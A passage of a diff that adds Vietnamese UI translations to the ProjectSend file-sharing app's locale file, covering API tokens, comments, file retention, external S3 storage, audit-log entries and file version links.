Revoke and create a new one instead if you want a fresh secret.": "Token hiện tại giữ nguyên giá trị, nên bên đang nắm nó sẽ được thêm hoặc mất các quyền này ngay lập tức. Nếu muốn một khóa bí mật mới, hãy thu hồi và tạo token khác.", + "Some permissions no longer apply": "Một số quyền không còn hiệu lực", + "This token still carries permissions that do nothing today, and saving will drop them: :abilities": "Token này vẫn mang những quyền hiện không còn tác dụng; khi lưu, chúng sẽ bị loại bỏ: :abilities", + "Token updated.": "Đã cập nhật token.", + "How external tools can act on this installation on your behalf.": "Cách các công cụ bên ngoài thay mặt bạn thao tác trên bản cài đặt này.", + "OpenAPI specification": "Đặc tả OpenAPI", + "Endpoints": "Điểm cuối", + "Method": "Phương thức", + "Tokens": "Token", + "Your tokens and what they have been doing.": "Các token của bạn và những gì chúng đã làm.", + "Every token on this installation and what it has been doing.": "Mọi token trên bản cài đặt này và những gì chúng đã làm.", + "Show all tokens": "Hiện tất cả token", + "Show only mine": "Chỉ hiện token của tôi", + "Manage tokens": "Quản lý token", + "Requests (7 days)": "Yêu cầu (7 ngày)", + "Failed (7 days)": "Thất bại (7 ngày)", + "Median response": "Thời gian phản hồi trung vị", + "No requests yet": "Chưa có yêu cầu nào", + ":count expired": ":count đã hết hạn", + "Requests": "Yêu cầu", + "Succeeded": "Thành công", + "Failed": "Thất bại", + "Request history is kept for :days days.": "Lịch sử yêu cầu được giữ trong :days ngày.", + "Request history is kept indefinitely.": "Lịch sử yêu cầu được giữ vô thời hạn.", + "No tokens yet.": "Chưa có token nào.", + "Owner": "Chủ sở hữu", + "Last used": "Dùng lần cuối", + "History": "Lịch sử", + "Busiest endpoints": "Điểm cuối được gọi nhiều nhất", + "No requests in the last 7 days.": "Không có yêu cầu nào trong 7 ngày qua.", + "Recent changes made through the API": "Những thay đổi gần đây thực hiện qua API", + "Full history": "Toàn bộ lịch sử", + "Nothing has been changed through the API yet.": "Chưa có thay đổi nào được thực hiện qua API.", + "API usage": "Mức sử dụng API", + "Open the API dashboard": "Mở bảng điều khiển API", + "You have no API tokens. Create one to let an external tool act on your behalf.": "Bạn chưa có token API nào. Hãy tạo một token để công cụ bên ngoài có thể thay mặt bạn thao tác.", + "API request history (days)": "Lịch sử yêu cầu API (ngày)", + "How long the API dashboard keeps a record of each request. This is usage history, not the activity log — the activity log is an audit trail and is never pruned. Set to 0 to keep it indefinitely.": "Bảng điều khiển API lưu bản ghi của từng yêu cầu trong bao lâu. Đây là lịch sử sử dụng, không phải nhật ký hoạt động — nhật ký hoạt động là dấu vết kiểm toán và không bao giờ bị dọn. Đặt 0 để giữ vô thời hạn.", + "A category was created": "Một danh mục đã được tạo", + "A category was deleted": "Một danh mục đã bị xóa", + "A category was renamed": "Một danh mục đã được đổi tên", + "A comment was approved": "Một bình luận đã được duyệt", + "A comment was deleted": "Một bình luận đã bị xóa", + "A comment was edited": "Một bình luận đã được sửa", + "A comment was posted on a file": "Đã có bình luận trên một tệp", + "A custom asset was created": "Một tài nguyên tùy chỉnh đã được tạo", + "A custom asset was deleted": "Một tài nguyên tùy chỉnh đã bị xóa", + "A custom asset was disabled": "Một tài nguyên tùy chỉnh đã bị tắt", + "A custom asset was enabled": "Một tài nguyên tùy chỉnh đã được bật", + "A custom asset was updated": "Một tài nguyên tùy chỉnh đã được cập nhật", + "A custom field was created": "Một trường tùy chỉnh đã được tạo", + "A custom field was deleted": "Một trường tùy chỉnh đã bị xóa", + "A custom field was updated": "Một trường tùy chỉnh đã được cập nhật", + "A deleted account's files and folders were deleted": "Tệp và thư mục của một tài khoản đã xóa cũng bị xóa theo", + "A deleted account's files and folders were reassigned": "Tệp và thư mục của một tài khoản đã xóa được gán lại", + "A file was made private": "Một tệp đã được chuyển sang riêng tư", + "A file was made public": "Một tệp đã được chuyển sang công khai", + "A file was previewed": "Một tệp đã được xem trước", + "A folder was made private": "Một thư mục đã được chuyển sang riêng tư", + "A folder was made public": "Một thư mục đã được chuyển sang công khai", + "A group was made private": "Một nhóm đã được chuyển sang riêng tư", + "A group was made public": "Một nhóm đã được chuyển sang công khai", + "An API token was created": "Một token API đã được tạo", + "An API token was revoked": "Một token API đã bị thu hồi", + "An API token was updated": "Một token API đã được cập nhật", + "An expired file was automatically deleted after its retention grace period passed": "Một tệp hết hạn đã tự động bị xóa sau khi hết thời gian giữ lại", + "An orphan file was automatically deleted after its retention grace period passed": "Một tệp mồ côi đã tự động bị xóa sau khi hết thời gian giữ lại", + "An upload was cancelled": "Một lượt tải lên đã bị hủy", + "Approved a comment on the file \":subject\"": "Đã duyệt một bình luận trên tệp “:subject”", + "Cancelled uploading the file \":name\"": "Đã hủy tải lên tệp “:name”", + "Commented on the file \":subject\"": "Đã bình luận về tệp “:subject”", + "Created the API token \":token_name\"": "Đã tạo token API “:token_name”", + "Created the category \":subject\"": "Đã tạo danh mục “:subject”", + "Created the custom asset \":subject\"": "Đã tạo tài nguyên tùy chỉnh “:subject”", + "Created the custom field \":name\"": "Đã tạo trường tùy chỉnh “:name”", + "Deleted :files file(s) and :folders folder(s) belonging to the deleted account \":name\"": "Đã xóa :files tệp và :folders thư mục thuộc tài khoản đã xóa “:name”", + "Deleted a comment on the file \":subject\"": "Đã xóa một bình luận trên tệp “:subject”", + "Deleted the category \":name\"": "Đã xóa danh mục “:name”", + "Deleted the custom asset \":name\"": "Đã xóa tài nguyên tùy chỉnh “:name”", + "Deleted the custom field \":name\"": "Đã xóa trường tùy chỉnh “:name”", + "Deleted the expired file \":name\"": "Đã xóa tệp hết hạn “:name”", + "Disabled the custom asset \":subject\"": "Đã tắt tài nguyên tùy chỉnh “:subject”", + "Edited a comment on the file \":subject\"": "Đã sửa một bình luận trên tệp “:subject”", + "Enabled the custom asset \":subject\"": "Đã bật tài nguyên tùy chỉnh “:subject”", + "Made the file \":subject\" private": "Đã chuyển tệp “:subject” sang riêng tư", + "Made the file \":subject\" public": "Đã chuyển tệp “:subject” sang công khai", + "Made the folder \":subject\" private": "Đã chuyển thư mục “:subject” sang riêng tư", + "Made the folder \":subject\" public": "Đã chuyển thư mục “:subject” sang công khai", + "Made the group \":subject\" private": "Đã chuyển nhóm “:subject” sang riêng tư", + "Made the group \":subject\" public": "Đã chuyển nhóm “:subject” sang công khai", + "Previewed the file \":subject\"": "Đã xem trước tệp “:subject”", + "Reassigned :files file(s) and :folders folder(s) from the deleted account \":name\" to :target": "Đã gán lại :files tệp và :folders thư mục từ tài khoản đã xóa “:name” cho :target", + "Renamed the category to \":subject\"": "Đã đổi tên danh mục thành “:subject”", + "Revoked the API token \":token_name\"": "Đã thu hồi token API “:token_name”", + "Updated the API token \":token_name\"": "Đã cập nhật token API “:token_name”", + "Updated the custom asset \":subject\"": "Đã cập nhật tài nguyên tùy chỉnh “:subject”", + "Updated the custom field \":name\"": "Đã cập nhật trường tùy chỉnh “:name”", + "Manage client custom fields": "Quản lý trường tùy chỉnh của khách hàng", + "Moderate comments": "Kiểm duyệt bình luận", + "Only me": "Chỉ mình tôi", + "Visible to anyone who can open this file, including visitors who are not logged in.": "Mọi người mở được tệp này đều thấy, kể cả khách chưa đăng nhập.", + "Anyone, including visitors who are not logged in": "Bất kỳ ai, kể cả khách chưa đăng nhập", + "Staff and clients": "Nhân sự và khách hàng", + "Staff only": "Chỉ nhân sự", + "No files — commenting is off": "Không tệp nào — tính năng bình luận đang tắt", + "Only files marked as commentable": "Chỉ những tệp được mở bình luận", + "Public files only": "Chỉ tệp công khai", + "Shared files only": "Chỉ tệp đã chia sẻ", + "(blank = inheriting the site default)": "(để trống = theo giá trị mặc định của trang)", + "(blank = unlimited, no site default is set)": "(để trống = không giới hạn, trang chưa đặt giá trị mặc định)", + "(deleted file)": "(tệp đã xóa)", + ":authorName commented on \":fileName\"": ":authorName đã bình luận về “:fileName”", + ":authorName commented on \":fileName\" and is waiting for approval": ":authorName đã bình luận về “:fileName” và đang chờ duyệt", + ":count comments": ":count bình luận", + ":count file updated.|:count files updated.": "Đã cập nhật :count tệp.|Đã cập nhật :count tệp.", + ":count waiting for approval": ":count đang chờ duyệt", + ":guest commented on the file \":subject\"": ":guest đã bình luận về tệp “:subject”", + ":name — files": ":name — tệp", + ":updated of :requested selected files were updated. The rest were skipped because you don't have permission to edit them.": "Đã cập nhật :updated trong số :requested tệp đã chọn. Số còn lại bị bỏ qua vì bạn không có quyền chỉnh sửa.", + "A bold header built around your logo — pairs with the Gallery look for a polished, on-brand inbox.": "Phần đầu thư nổi bật lấy logo làm trung tâm — kết hợp với giao diện Gallery để hộp thư trông chỉn chu và đúng nhận diện thương hiệu.", + "Access": "Truy cập", + "Access key": "Khóa truy cập", + "Accounts covered by this setting may only upload files whose extension is on the allowed list below.": "Những tài khoản thuộc diện áp dụng chỉ được tải lên các tệp có phần mở rộng nằm trong danh sách cho phép bên dưới.", + "A clean, neutral layout that works well for any kind of file sharing.": "Bố cục gọn gàng, trung tính, phù hợp với mọi kiểu chia sẻ tệp.", + "A comment from someone who is not logged in stays hidden until a moderator approves it.": "Bình luận của người chưa đăng nhập sẽ bị ẩn cho tới khi người kiểm duyệt phê duyệt.", + "A comment is waiting for approval": "Có bình luận đang chờ duyệt", + "Activity history for :name": "Lịch sử hoạt động của :name", + "A daily task permanently deletes files past their expiration date and grace period below.": "Một tác vụ chạy hằng ngày sẽ xóa vĩnh viễn những tệp đã quá ngày hết hạn và quá thời gian chờ bên dưới.", + "A daily task permanently deletes local orphan files older than the grace period below.": "Một tác vụ chạy hằng ngày sẽ xóa vĩnh viễn những tệp mồ côi cục bộ cũ hơn thời gian chờ bên dưới.", + "Add categories": "Thêm danh mục", + "Adds an \"Everyone\" option when commenting on a file that is publicly visible. Without this, comments only ever reach people who are logged in.": "Thêm lựa chọn “Mọi người” khi bình luận về tệp hiển thị công khai. Nếu không bật, bình luận chỉ đến được với người đã đăng nhập.", + "A dense, spreadsheet-style list that fits more files on screen — best for large collections and frequent uploaders.": "Danh sách dày đặc kiểu bảng tính, hiển thị được nhiều tệp hơn trên màn hình — hợp với kho tệp lớn và người tải lên thường xuyên.", + "A full-width photo grid built for visual browsing — the best choice for photographers and image-heavy collections.": "Lưới ảnh tràn màn hình, thiết kế để xem bằng mắt — lựa chọn tốt nhất cho nhiếp ảnh gia và những bộ sưu tập nhiều hình ảnh.", + "Allow clients to add files to this folder from their portal.": "Cho phép khách hàng thêm tệp vào thư mục này từ cổng của họ.", + "Allow comments on this file": "Cho phép bình luận về tệp này", + "Allowed file extensions": "Phần mở rộng tệp được phép", + "Allow public comments": "Cho phép bình luận công khai", + "and :count more": "và :count mục nữa", + "Anonymous": "Ẩn danh", + "Anonymous downloads": "Lượt tải ẩn danh", + "Applied to any client without their own custom quota, including self-registered ones. Set to 0 for no default (unlimited unless a client has their own limit).": "Áp dụng cho mọi khách hàng chưa có hạn mức riêng, kể cả người tự đăng ký. Đặt 0 để không có giá trị mặc định (không giới hạn, trừ khi khách hàng có mức riêng).", + "A public group's page is always reachable by its own link once you mark it public — this page only controls the base URL and an optional directory listing every public group and file at once.": "Khi bạn đánh dấu một nhóm là công khai, trang của nhóm luôn truy cập được bằng liên kết riêng — trang này chỉ điều chỉnh địa chỉ gốc và một trang danh mục tùy chọn liệt kê mọi nhóm và tệp công khai cùng lúc.", + "A reset link will be sent if the account exists.": "Nếu tài khoản tồn tại, chúng tôi sẽ gửi liên kết đặt lại mật khẩu.", + "A spacious, colorful layout inspired by cloud storage apps, with clear file-type icons and generous spacing.": "Bố cục thoáng đãng, nhiều màu sắc, lấy cảm hứng từ các ứng dụng lưu trữ đám mây, với biểu tượng loại tệp rõ ràng và khoảng cách rộng rãi.", + "A stripped-down, understated design with no extra styling — pairs with the Compact look.": "Thiết kế tối giản, kín đáo, không thêm trang trí — hợp với giao diện Compact.", + "Auto approve new accounts": "Tự động duyệt tài khoản mới", + "Automatically delete expired files": "Tự động xóa tệp hết hạn", + "Automatically delete orphan files": "Tự động xóa tệp mồ côi", + "A visitor commented on a file": "Một khách truy cập đã bình luận về tệp", + "Awaiting approval": "Đang chờ duyệt", + "Back": "Quay lại", + "Be careful when changing this list — it can affect the security of this installation.": "Hãy thận trọng khi thay đổi danh sách này — nó có thể ảnh hưởng đến độ an toàn của bản cài đặt.", + "Blank = inherit the site default (currently :default MB). Set a value to give this client their own limit.": "Để trống = theo giá trị mặc định của trang (hiện là :default MB). Nhập một giá trị để đặt mức riêng cho khách hàng này.", + "Blank = unlimited (no site default is set). Set a value to give this client their own limit.": "Để trống = không giới hạn (trang chưa đặt giá trị mặc định). Nhập một giá trị để đặt mức riêng cho khách hàng này.", + "Blue accents and clean structure inspired by cloud storage apps — pairs with the Drive look.": "Điểm nhấn xanh dương và bố cục gọn gàng, lấy cảm hứng từ các ứng dụng lưu trữ đám mây — hợp với giao diện Drive.", + "Branding": "Nhận diện thương hiệu", + "Bucket": "Bucket", + "Bulk edit :count files": "Sửa hàng loạt :count tệp", + "by": "bởi", + "Change at least one field before applying a bulk edit.": "Hãy thay đổi ít nhất một trường trước khi áp dụng sửa hàng loạt.", + "Check for updates": "Kiểm tra cập nhật", + "Client access": "Quyền truy cập của khách hàng", + "Client downloads": "Lượt tải của khách hàng", + "Clients can register themselves": "Khách hàng có thể tự đăng ký", + "Clients only": "Chỉ khách hàng", + "Comment approved.": "Đã duyệt bình luận.", + "Comment deleted.": "Đã xóa bình luận.", + "Comments": "Bình luận", + "Comments are closed on this file.": "Tệp này đã đóng bình luận.", + "Comments already written stay readable even if a file stops accepting new ones.": "Các bình luận đã viết vẫn đọc được, ngay cả khi tệp không nhận thêm bình luận mới.", + "Comments awaiting approval": "Bình luận đang chờ duyệt", + "Comment settings": "Cài đặt bình luận", + "Comments left by visitors who are not logged in. Nobody can see them until you approve them.": "Bình luận do khách chưa đăng nhập để lại. Không ai thấy được cho tới khi bạn duyệt.", + "Connect an external S3-compatible bucket (AWS S3, MinIO, or another S3-compatible service) as the storage backend for new uploads.": "Kết nối một bucket bên ngoài tương thích S3 (AWS S3, MinIO hoặc dịch vụ tương thích S3 khác) làm nơi lưu trữ cho các tệp tải lên mới.", + "Custom endpoint": "Điểm cuối tùy chỉnh", + "Custom field created.": "Đã tạo trường tùy chỉnh.", + "Custom field deleted.": "Đã xóa trường tùy chỉnh.", + "Custom field updated.": "Đã cập nhật trường tùy chỉnh.", + "Custom range": "Khoảng thời gian tùy chọn", + "Default storage quota (MB)": "Hạn mức lưu trữ mặc định (MB)", + "Delete account?": "Xóa tài khoản này?", + "Delete failed job?": "Xóa tác vụ thất bại này?", + "Delete them permanently": "Xóa vĩnh viễn", + "Delete this comment?": "Xóa bình luận này?", + "Delete this many days after being found": "Xóa sau số ngày này kể từ khi phát hiện", + "Delete this many days after expiry": "Xóa sau số ngày này kể từ khi hết hạn", + "Download :name": "Tải xuống :name", + "Downloaded by": "Người tải xuống", + "Download history": "Lịch sử tải xuống", + "Download history for :name": "Lịch sử tải xuống của :name", + "Duration": "Thời lượng", + "Each file has a \"Allow comments\" switch on its edit page. Only files with it turned on accept comments.": "Mỗi tệp đều có công tắc “Cho phép bình luận về tệp này” ở trang chỉnh sửa. Chỉ những tệp bật công tắc đó mới nhận bình luận.", + "edited": "đã sửa", + "Editing window (minutes)": "Thời gian được phép sửa (phút)", + "Email settings saved.": "Đã lưu cài đặt email.", + "Error": "Lỗi", + "Every download, newest first": "Mọi lượt tải xuống, mới nhất trước", + "Every download across the installation, newest first": "Mọi lượt tải xuống trên toàn bản cài đặt, mới nhất trước", + "Every recorded action, newest first": "Mọi thao tác được ghi lại, mới nhất trước", + "Expiration": "Hết hạn", + "Expired :date": "Hết hạn ngày :date", + "Expired only": "Chỉ những mục đã hết hạn", + "Extension, e.g. pdf": "Phần mở rộng, ví dụ pdf", + "Failed at": "Thất bại lúc", + "Failed job deleted.": "Đã xóa tác vụ thất bại.", + "Failed jobs": "Tác vụ thất bại", + "Failed to connect: :error": "Không kết nối được: :error", + "File retention": "Lưu giữ tệp", + "File retention settings": "Cài đặt lưu giữ tệp", + "Files accessible to :name": "Các tệp mà :name truy cập được", + "Files sitting on disk with no matching record — an interrupted upload, a restore, manual filesystem access": "Những tệp nằm trên ổ đĩa mà không có bản ghi tương ứng — tải lên dở dang, khôi phục dữ liệu, thao tác trực tiếp trên hệ thống tệp", + "Files that accept comments": "Các tệp nhận bình luận", + "Filters": "Bộ lọc", + "Folder renamed.": "Đã đổi tên thư mục.", + "Folders": "Thư mục", + "Grid view": "Dạng lưới", + "Hold comments from visitors for approval": "Giữ bình luận của khách để chờ duyệt", + "How long after posting someone can still edit or delete their own comment. Set to 0 to never allow it.": "Sau khi đăng, người viết còn được sửa hoặc xóa bình luận của mình trong bao lâu. Đặt 0 để không bao giờ cho phép.", + "How long an expired file is kept before it is permanently deleted. 0 deletes it the same day it expires.": "Tệp hết hạn được giữ lại bao lâu trước khi bị xóa vĩnh viễn. Đặt 0 để xóa ngay trong ngày hết hạn.", + "How long an orphan file is kept before it is permanently deleted. 0 deletes it the same day it is first found.": "Tệp mồ côi được giữ lại bao lâu trước khi bị xóa vĩnh viễn. Đặt 0 để xóa ngay trong ngày phát hiện.", + "IP address": "Địa chỉ IP", + "Job queued for retry.": "Đã đưa tác vụ vào hàng đợi để thử lại.", + "Language: :language": "Ngôn ngữ: :language", + "Last month": "Tháng trước", + "Last ran": "Chạy lần cuối", + "Last week": "Tuần trước", + "Leave blank for AWS S3. Set this to use an S3-compatible service such as MinIO or Backblaze.": "Để trống nếu dùng AWS S3. Điền vào nếu muốn dùng dịch vụ tương thích S3 như MinIO hoặc Backblaze.", + "Leave empty for a file that never expires.": "Để trống nếu muốn tệp không bao giờ hết hạn.", + "Limit file types uploading to": "Giới hạn loại tệp khi tải lên, áp dụng cho", + "List view": "Dạng danh sách", + "Make this folder public. Every file inside it — now and later, at any depth — becomes public too.": "Đặt thư mục này ở chế độ công khai. Mọi tệp bên trong — hiện tại và về sau, ở mọi cấp — cũng sẽ thành công khai.", + "Message": "Tin nhắn", + "Moving": "Đang di chuyển", + "Never run": "Chưa từng chạy", + "Next cleanup :date": "Lần dọn dẹp tiếp theo: :date", + "No accounts match \":search\".": "Không có tài khoản nào khớp với “:search”.", + "Nobody (no restriction)": "Không ai (không hạn chế)", + "No comments yet.": "Chưa có bình luận nào.", + "No expired files.": "Không có tệp hết hạn nào.", + "No extensions added yet.": "Chưa thêm phần mở rộng nào.", + "No failed jobs.": "Không có tác vụ thất bại nào.", + "No files match these filters.": "Không có tệp nào khớp với các bộ lọc này.", + "None of the selected files could be edited.": "Không sửa được tệp nào trong số đã chọn.", + "Nothing is waiting for approval.": "Không có gì đang chờ duyệt.", + "of :count": "trên :count", + "of :quota": "trên :quota", + "on": "ngày", + "Only the fields you change here are applied — everything else is left as-is.": "Chỉ những trường bạn thay đổi ở đây mới được áp dụng — phần còn lại giữ nguyên.", + "Only uploads made after this backend is activated are affected. Files already stored locally stay there and keep working — there is no migration between backends.": "Chỉ những tệp tải lên sau khi bật nơi lưu trữ này mới bị ảnh hưởng. Các tệp đã lưu cục bộ vẫn nằm nguyên đó và hoạt động bình thường — không có việc chuyển dữ liệu giữa các nơi lưu trữ.", + "Open public page": "Mở trang công khai", + "Optional. Confines uploads to a subfolder within the bucket.": "Không bắt buộc. Giới hạn các tệp tải lên trong một thư mục con của bucket.", + "Orphan auto-delete only ever operates on local storage, so it stays off while external storage is active — even if it was previously enabled.": "Việc tự động xóa tệp mồ côi chỉ áp dụng cho lưu trữ cục bộ, nên sẽ tắt trong khi lưu trữ bên ngoài đang bật — kể cả khi trước đó bạn đã bật nó.", + "Orphan files": "Tệp mồ côi", + "Outgoing email is sent through a centrally managed relay for cloud accounts. You can still choose the From address and name shown to recipients.": "Với tài khoản đám mây, email gửi đi đi qua máy chủ trung chuyển do hệ thống quản lý tập trung. Bạn vẫn có thể chọn địa chỉ và tên người gửi mà người nhận nhìn thấy.", + "Page": "Trang", + "Path prefix": "Tiền tố đường dẫn", + "Pending": "Đang chờ", + "Periodically checks projectsend.org's public repository for a newer release and shows a notice on the dashboard. Nothing is ever downloaded or applied automatically.": "Định kỳ kiểm tra kho công khai của projectsend.org xem có phiên bản mới không và hiện thông báo trên bảng điều khiển. Hệ thống không bao giờ tự tải về hay tự cài đặt.", + "Permanently failed": "Thất bại hoàn toàn", + "Post comment": "Đăng bình luận", + "Preview of :name": "Xem trước :name", + "Previous month": "Tháng trước đó", + "ProjectSend's classic email look — simple and neutral, and pairs well with any public/portal theme.": "Diện mạo email cổ điển của ProjectSend — đơn giản, trung tính và hợp với mọi giao diện trang công khai hay cổng khách hàng.", + "ProjectSend :version is available": "Đã có ProjectSend :version", + "Public folder": "Thư mục công khai", + "Published :date": "Đăng ngày :date", + "Queue": "Hàng đợi", + "Reassign them to another account": "Gán chúng cho tài khoản khác", + "Region": "Khu vực", + "Remove a category": "Gỡ một danh mục", + "Remove categories": "Gỡ danh mục", + "Rename folder": "Đổi tên thư mục", + "Required by most S3-compatible services (MinIO, etc). Leave off for AWS S3.": "Phần lớn dịch vụ tương thích S3 (MinIO, v.v.) đều cần bật. Với AWS S3 thì để tắt.", + "Requires Upload files": "Cần quyền “Tải tệp lên”", + "Retry": "Thử lại", + "Root": "Thư mục gốc", + "Scheduler": "Bộ hẹn giờ", + "Scheduler settings": "Cài đặt bộ hẹn giờ", + "Search accounts…": "Tìm tài khoản…", + "Search and filter": "Tìm kiếm và lọc", + "Secret key": "Khóa bí mật", + "Select files to bulk-edit them": "Chọn tệp để sửa hàng loạt", + "Sender identity": "Danh tính người gửi", + "Set to…": "Đặt thành…", + "Share": "Chia sẻ", + "Shared with client": "Đã chia sẻ với khách hàng", + "Shared with me": "Được chia sẻ với tôi", + "Sharing a folder shares everything inside it, now and later. Manage sharing from the edit page.": "Chia sẻ một thư mục là chia sẻ mọi thứ bên trong, cả hiện tại lẫn về sau. Quản lý việc chia sẻ ở trang chỉnh sửa.", + "Someone commented on a file": "Có người đã bình luận về một tệp", + "Sort by": "Sắp xếp theo", + "Storage settings": "Cài đặt lưu trữ", + "Storage settings saved.": "Đã lưu cài đặt lưu trữ.", + "Success: connected to bucket \":bucket\".": "Thành công: đã kết nối tới bucket “:bucket”.", + "Task": "Tác vụ", + "Test connection": "Kiểm tra kết nối", + "Test result": "Kết quả kiểm tra", + "This account owns :files file(s) and :folders folder(s). What should happen to them?": "Tài khoản này sở hữu :files tệp và :folders thư mục. Bạn muốn xử lý chúng ra sao?", + "This cannot be undone.": "Không thể hoàn tác.", + "This client has no accessible files yet.": "Khách hàng này chưa có tệp nào truy cập được.", + "This deletion is permanent": "Việc xóa này là vĩnh viễn", + "This file is public because it's inside the public folder \":name\".": "Tệp này công khai vì nằm trong thư mục công khai “:name”.", + "This folder cannot be deleted: it holds :count file you did not upload.|This folder cannot be deleted: it holds :count files you did not upload.": "Không thể xóa thư mục này: trong đó có :count tệp không phải do bạn tải lên.|Không thể xóa thư mục này: trong đó có :count tệp không phải do bạn tải lên.", + "This removes it from the failed jobs list without retrying it.": "Thao tác này gỡ nó khỏi danh sách tác vụ thất bại mà không chạy lại.", + "Total size": "Tổng dung lượng", + "To update, run:": "Để cập nhật, hãy chạy:", + "Unavailable while external storage is active": "Không dùng được khi đang bật lưu trữ bên ngoài", + "Unlike an expired file, an orphan has no database row to soft-delete — there is no undo once it's gone.": "Khác với tệp hết hạn, tệp mồ côi không có bản ghi nào trong cơ sở dữ liệu để xóa mềm — một khi đã mất thì không lấy lại được.", + "Unlimited storage": "Lưu trữ không giới hạn", + "Update :count files": "Cập nhật :count tệp", + "Uploaded and shared": "Đã tải lên và chia sẻ", + "Uploaded by client": "Do khách hàng tải lên", + "Uploaded by me": "Do tôi tải lên", + "Uploaded by the client, or assigned to them directly, via a group, or via a shared folder.": "Do khách hàng tải lên, hoặc được gán trực tiếp, qua một nhóm, hoặc qua thư mục được chia sẻ.", + "Uploading into \":name\".": "Đang tải lên “:name”.", + "Upload settings saved.": "Đã lưu cài đặt tải lên.", + "Upload settings saved. Warning: :extensions can be dangerous to allow — only keep them on the list if you understand the risk.": "Đã lưu cài đặt tải lên. Cảnh báo: cho phép :extensions có thể gây rủi ro — chỉ giữ chúng trong danh sách nếu bạn hiểu rõ nguy cơ.", + "used": "đã dùng", + "Used in the public folder URL.": "Được dùng trong địa chỉ của thư mục công khai.", + "Use external storage for new uploads": "Dùng lưu trữ bên ngoài cho các tệp tải lên mới", + "Use path-style addressing": "Dùng địa chỉ theo kiểu đường dẫn", + "View all downloads (:count)": "Xem tất cả lượt tải xuống (:count)", + "View full history (:count)": "Xem toàn bộ lịch sử (:count)", + "View release notes": "Xem ghi chú phát hành", + "View release notes on GitHub": "Xem ghi chú phát hành trên GitHub", + "Visitor": "Khách truy cập", + "Visitors who are not logged in can only write public comments, so this has no effect until you allow public comments below.": "Khách chưa đăng nhập chỉ viết được bình luận công khai, nên tùy chọn này chưa có tác dụng cho tới khi bạn cho phép bình luận công khai bên dưới.", + "What happens to a file once it expires, or once one turns up unclaimed on disk": "Điều gì xảy ra với một tệp khi nó hết hạn, hoặc khi xuất hiện một tệp vô chủ trên ổ đĩa", + "Where": "Nơi", + "Whether scheduled tasks are actually running, and any queued email that failed to send": "Các tác vụ theo lịch có thực sự chạy không, và những email trong hàng đợi gửi không thành công", + "Who can comment on files, and which files accept comments": "Ai được bình luận về tệp, và những tệp nào nhận bình luận", + "Who can see this": "Ai xem được nội dung này", + "Who can write a comment": "Ai được viết bình luận", + "Write a comment…": "Viết bình luận…", + "You cannot grant permissions your own role does not have: :permissions": "Bạn không thể cấp những quyền mà vai trò của chính bạn không có: :permissions", + "You need upload permission to create folders": "Bạn cần quyền tải lên để tạo thư mục", + "Your comment will be reviewed before it appears.": "Bình luận của bạn sẽ được xem xét trước khi hiển thị.", + "Your name": "Tên của bạn", + "— No change —": "— Không thay đổi —", + "Newest first": "Mới nhất trước", + "Oldest first": "Cũ nhất trước", + "Name (A–Z)": "Tên (A–Z)", + "Name (Z–A)": "Tên (Z–A)", + "Largest first": "Lớn nhất trước", + "Smallest first": "Nhỏ nhất trước", + "Transfers": "Lượt truyền", + "Top clients by storage": "Khách hàng dùng nhiều dung lượng nhất", + "Largest files": "Tệp lớn nhất", + "Expired files": "Tệp hết hạn", + "A private note. Nobody else can read it, staff included.": "Ghi chú riêng tư. Không ai khác đọc được, kể cả nhân sự.", + "Reply": "Trả lời", + "Replying to :name": "Trả lời :name", + "The team working on this file. No client ever sees it.": "Nhóm đang làm việc với tệp này. Không khách hàng nào nhìn thấy.", + "With :name": "Với :name", + "Your reply goes to :name only, and to staff.": "Câu trả lời của bạn chỉ đến với :name và nhân sự.", + "Your reply goes to the same people as the comment above.": "Câu trả lời của bạn đến với cùng những người như bình luận phía trên.", + "Public comments are turned off for this site.": "Trang này đã tắt bình luận công khai.", + "Only a file that is publicly visible can have public comments.": "Chỉ tệp hiển thị công khai mới có thể nhận bình luận công khai.", + "The team, and everyone this file is shared with. Clients cannot see each other.": "Cả nhóm và tất cả những người được chia sẻ tệp này. Các khách hàng không thấy nhau.", + "Everyone above, plus anyone who opens this file without logging in.": "Tất cả những người ở trên, cộng thêm bất kỳ ai mở tệp này mà không đăng nhập.", + "Not signed in": "Chưa đăng nhập", + "New comment on \":name\"": "Bình luận mới về “:name”", + ":author commented on \":name\".": ":author đã bình luận về “:name”.", + ":author commented on \":name\"": ":author đã bình luận về “:name”", + "Read the comment": "Đọc bình luận", + ":count new comments": ":count bình luận mới", + "There are :count new comments for you:": "Bạn có :count bình luận mới:", + "Someone": "Ai đó", + "New comment on a file": "Bình luận mới về một tệp", + "Multiple new comments (digest)": "Nhiều bình luận mới (tóm tắt)", + "Marked the file \":subject\" as a revision of \":previous\"": "Đã đánh dấu tệp “:subject” là phiên bản mới của “:previous”", + "Removed the version link from the file \":subject\"": "Đã gỡ liên kết phiên bản khỏi tệp “:subject”", + "A file was marked as a revision of another": "Một tệp đã được đánh dấu là phiên bản mới của tệp khác", + "A file version link was removed": "Một liên kết phiên bản đã bị gỡ", + "A newer version of a file I have is available": "Đã có phiên bản mới hơn của một tệp mà tôi đang có", + "A newer version of \":previousName\" is available: :itemName": "Đã có phiên bản mới hơn của “:previousName”: :itemName", + "A newer version of a file you have is available": "Đã có phiên bản mới hơn của một tệp mà bạn đang có", + "\":previous\" has been replaced by a newer version: \":name\".": "“:previous” đã được thay bằng phiên bản mới hơn: “:name”.", + ":count files you have were replaced by newer versions": ":count tệp bạn đang có đã được thay bằng phiên bản mới hơn", + "Newer versions of the following :count files are available:": "Đã có phiên bản mới hơn của :count tệp sau:", + ":previous → :name": ":previous → :name", + "A file cannot be a revision of itself.": "Một tệp không thể là phiên bản mới của chính nó.", + "That file is already part of this file's version history.": "Tệp đó đã nằm trong lịch sử phiên bản của tệp này.", + "That file has already been revised by \":name\". Remove that link first.": "Tệp đó đã được thay bằng “:name”. Hãy gỡ liên kết đó trước.", + "That file has just been revised by another file. Reload and try again.": "Tệp đó vừa được thay bằng một tệp khác. Hãy tải lại trang và thử lại.", + "This version history is too long. Remove an older link first.": "Lịch sử phiên bản này quá dài. Hãy gỡ bớt một liên kết cũ trước.", + "That file can't be used as the previous version.": "Không thể dùng tệp đó làm phiên bản trước.", + "This file is already shared with other people, so it can't be marked as a new version. Ask your contact to do it for you.": "Tệp này đã được chia sẻ với người khác nên không thể đánh dấu là phiên bản mới. Hãy nhờ người phụ trách làm giúp bạn.", + "This file is a new version of \":name\". Manage sharing on \":name\" instead — every version follows it.": "Tệp này là phiên bản mới của “:name”. Hãy quản lý việc chia sẻ ở “:name” — mọi phiên bản đều đi theo tệp đó.", + "This file is a new version of another file, and is shared with the same people as that one.": "Tệp này là phiên bản mới của một tệp khác và được chia sẻ với cùng 